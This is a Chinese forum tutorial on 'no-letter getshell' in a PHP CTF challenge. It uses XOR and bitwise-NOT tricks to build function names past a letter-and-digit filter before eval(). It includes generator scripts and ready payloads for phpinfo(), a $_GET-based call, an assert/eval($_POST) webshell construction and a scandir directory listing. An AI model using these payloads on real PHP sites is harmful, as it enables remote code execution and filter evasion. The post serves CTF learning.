无字母getshell详解

fthgb   ·   发表于 1个月前   ·   技术文章

最近复习了下无字母getshell

要是有对异或这些原理有需要去了解的或者对位运算符要了解的,请看看最底部。
还有,麻烦各位哥哥给个赞吧!!!

题目

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. if(isset($_GET['code'])){
  5. $code=$_GET['code'];
  6. if(strlen($code)>40){
  7. die("This is too Long.");
  8. }
  9. if(preg_match("/[A-Za-z0-9]+/",$code)){
  10. die("NO.");
  11. }
  12. @eval($code);
  13. }
  14. ?>

异或

首先先附上一个找想要字符的脚本:

  1. <?php
  2. $a = '~!@#$%^&*()_+\|/?,.<>`-={}[]';
  3. for($i=0;$i<strlen($a);$i++){
  4. for($j=0;$j<strlen($a);$j++){
  5. if(ord($a[$i]^$a[$j])>64 && ord($a[$i]^$a[$j])<91){
  6. echo $a[$i].'^'.$a[$j].'=';
  7. echo chr(ord($a[$i]^$a[$j])).' ';
  8. echo ' '.ord($a[$i]^$a[$j]);
  9. echo "</br>";
  10. }elseif (ord($a[$i]^$a[$j])>96 && ord($a[$i]^$a[$j])<122) {
  11. echo $a[$i].'^'.$a[$j].'=';
  12. echo chr(ord($a[$i]^$a[$j])).' ';
  13. echo ord($a[$i]^$a[$j]);
  14. echo "</br>";
  15. }
  16. }
  17. }

用这个可以找到大小写的字母,然后就可以通过里面的来进行拼凑:

  1. <?php
  2. //_^/=p @^(=h _^/=p @^)=i @^.=n =^[=f /^@=o
  3. echo ("_"^"/");//p
  4. echo "\n";
  5. echo ("@"^"(");//h
  6. echo "\n";
  7. echo ("_"^"/");//p
  8. echo "\n";
  9. echo ("@"^")");//i
  10. echo "\n";
  11. echo ("@"^".");//n
  12. echo "\n";
  13. echo ("="^"[");//f
  14. echo "\n";
  15. echo ("/"^"@");//o
  16. echo "\n";
  17. echo ("_@_@@=/"^"/(/).[@");//phpinfo

所以输入:?code=$_="_@_@@=/"^"/(/).[@";($_)();就会出现phpinfo()
图片.png
后来我查了下网上的,发现是用url编码后来写payload,先附上脚本:

  1. <?php
  2. for ($i=123;$i<=255;$i++){
  3. for ($j=123;$j<=255;$j++){
  4. $a = dechex($i);
  5. $a = '%'.$a;
  6. $b = dechex($j);
  7. $b = '%'.$b;
  8. $x = urldecode($a);
  9. $y = urldecode($b);
  10. echo $a.'^'.$b.'~~~';
  11. echo $x^$y;
  12. echo"\n";
  13. }
  14. }

这里提一句,因为%7Bz输入后会被匹配,返回NO,所以我设置的是从123开始循环,再转换成url编码,然后从里面挑选:

  1. <?PHP
  2. //%81^%de~~~_ %82^%c5~~~G %82^%c7~~~E %82^%d6~~~T
  3. $x = urldecode('%81%82%82%82');
  4. $y = urldecode('%de%c5%c7%d6');
  5. echo $x^$y;//_GET

所以构造:code=${%81%82%82%82^%de%c5%c7%d6}{%81}();&%81=phpinfo就会变成code=$_GET{%81}()然后传值
图片.png
这里需要注意的一点是,我们url输入的都是字符串,所以不能直接变成code=$_GET{%81};&%81=phpinfo();所以这里考虑到的利用方式一般都是无参数文件包含的这种方法,虽然有code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])这种构造,但是在PHP7.1以及其更高的版本,是办不到这种连接蚁剑的操作的,想要操作差不多就只能用无参数文件包含的方法了

取反

先附上汉字的取反脚本:

  1. <?php
  2. error_reporting(0);
  3. header('Content-Type: text/html; charset=utf-8');
  4. function str_split_unicode($str, $l = 0) {
  5. if ($l > 0) {
  6. $ret = array();
  7. $len = mb_strlen($str, "UTF-8");
  8. for ($i = 0; $i < $len; $i += $l) {
  9. $ret[] = mb_substr($str, $i, $l, "UTF-8");
  10. }
  11. return $ret;
  12. }
  13. return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
  14. }
  15. $s = '趣味无穷的哇对方瓦夫哇师傅撒会返回';
  16. $arr_str=str_split_unicode($s);
  17. for ($i=0; $i < strlen($s) ; $i++) {
  18. echo $arr_str[$i].'-->'.~$arr_str[$i]{1}.'<br>';
  19. }
  20. ?>

但是数字的,我基本不怎么用,平时比较爱用的是这种最简单的:

  1. <?php
  2. echo urlencode(~'phpinfo');

然后输入:code=(~%8F%97%8F%96%91%99%90)();
图片.png
通过这个会有很多有趣的构造:

  1. <?php
  2. echo urlencode(~'print_r');echo "\n";//%8F%8D%96%91%8B%A0%8D
  3. echo urlencode(~'scandir');echo "\n";//%8C%9C%9E%91%9B%96%8D
  4. echo urlencode(~'.');echo"\n";//%D1
  5. //code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))
  6. //code=(print_r)((scandir)(('.')));

所以,最后输入:code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)));可以查看文件等操作,这样就勉强可以代替连接蚁剑,而且高PHP版本都实用
图片.png




进一步考虑

因为异或,取反这种一般玩ctf都很常见的方法都实际是从位运算符改变过来的,所以进一步考虑其它的几个位运算符:
先附上脚本:

  1. <?php
  2. for ($i=123;$i<=255;$i++){
  3. for ($j=123;$j<=255;$j++){
  4. $a = dechex($i);
  5. $a = '%'.$a;
  6. $b = dechex($j);
  7. $b = '%'.$b;
  8. $x = urldecode($a);
  9. $y = urldecode($b);
  10. echo $a.'&'.$b.'~~~';
  11. echo $x&$y;
  12. echo"\n";
  13. }
  14. }


可以看到是可以得到字母和数字的,所以经过测试,还是可以通过&|进行无字母getshell

进阶利用

在最近的一次CTF中,发现一个没有禁数字的,所以有了新的利用
先上脚本

  1. <?php
  2. @var_dump(1/0);//float(INF)
  3. @var_dump((1/0).(0));//string(4) "INF0"
  4. @var_dump(((1/0).(0)){0});echo "\n";//string(1) "I"
  5. @var_dump(0/0);//float(NAN)
  6. @var_dump((6).(0));//string(2) "60"
  7. @var_dump(((6).(0)){0});echo "\n";//string(1) "6"
  8. @var_dump(9999999999*999999999);//float(9.999999989E+18)
  9. @var_dump((9999999999*999999999).(0));//string(16) "9.999999989E+180"
  10. @var_dump(((9999999999*999999999).(0)){11});//string(1) "E"

认真看结果,我们会发现在添加(0)后,会变成字符类型,然后再通过截断,我们是可以得到数字和一些字符的,然后我们就可以利用上述的位运算符,得到更多的字母,再用新的字母得到更多的字母







计算机码

这里先说下计算机码:计算机在实际存储数据的时候,采用的编码规则(二进制规则)

计算机码:源码,反码,和补码。数值本身最左边一位是用来充当符号位:正数为0,负数为1

原码:数据本身从十进制转换成二进制得到的结果

  1. 正数:左边符号位为0(正数的反码,补码都是其本身)
  2. 负数:左边符号位为1
  3. 反码:针对负数,符号位不变,其他位取反
  4. 补码:针对负数,反码+1 //系统存储负数的样子就是补码

系统中存在两个0:+0和-0

  1. +000000000
  2. -010000000//源码
  3. 取反:11111111
  4. 补码:00000000

首先,先列出位运算符:

位运算:取出计算机中最小的单位进行运算

  1. &:按位与,两个都为1,结果为1,否则为0
  2. |:按位或,两个有一个1就是1
  3. ~:按位非,两个有一个为1,则变成0,否则反之
  4. ^:按位异或,两个相同为0,不同为1
  5. <<:按位左移,向左移一位,右边补0
  6. >>:按位右移,向右移,左边补符号对应内容(正数补0,负数补1)

然后对位运算符的实践

  1. <?php
  2. $a = 5;//00000101
  3. $b = -5;//10000101
  4. var_dump($a & $b);//int(1)
  5. /*
  6. 5源码:00000101
  7. -5源码:10000101
  8. 取反:11111010 //反码:符号位不变,其它位取反
  9. 补码:11111011 //补码:反码+1,计算机对-5的存储就是这样的
  10. 所以$a & $b => 取出系统存储的结果进行操作
  11. 5:00000101
  12. -5:11111011
  13. 在&后变成:00000001变成1
  14. */
  15. var_dump(~$b);//int(4)
  16. /*
  17. 5源码:00000101
  18. -5源码:10000101
  19. 取反:11111010 //反码:符号位不变,其它位取反
  20. 补码:11111011 //补码:反码+1
  21. 所以~$b => 取出系统存储的结果进行操作
  22. -5:11111011//补码
  23. 取反后:00000100
  24. 原码:00000100(int(4))
  25. */
  26. var_dump($b>>1);//int(-3)
  27. var_dump($b>>2);//int(-2)
  28. /*
  29. -5:11111011//补码
  30. >>2:11111110//运算结果:补码
  31. 反码:11111101
  32. 取反:10000010//原码int(-2)
  33. */

卑微求赞ing

用户名金币积分时间理由
奖励系统 50.00 0 2020-07-16 13:01:00 投稿满 5 赞奖励
Track-聂风 150.00 0 2020-07-14 15:03:16 支持同学,加油!!!期待你的新文章

打赏我,让我更有动力~

1 Reply   |  Until 1个月前 | 425 View

Track-聂风
发表于 1个月前

异或其实现在一般都会被查杀,同学下篇文章可以写,如何绕过WAF

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部

掌控者 © 2016. All Rights Reserved. 掌控者

Powered by 掌控者 Version 2.1.3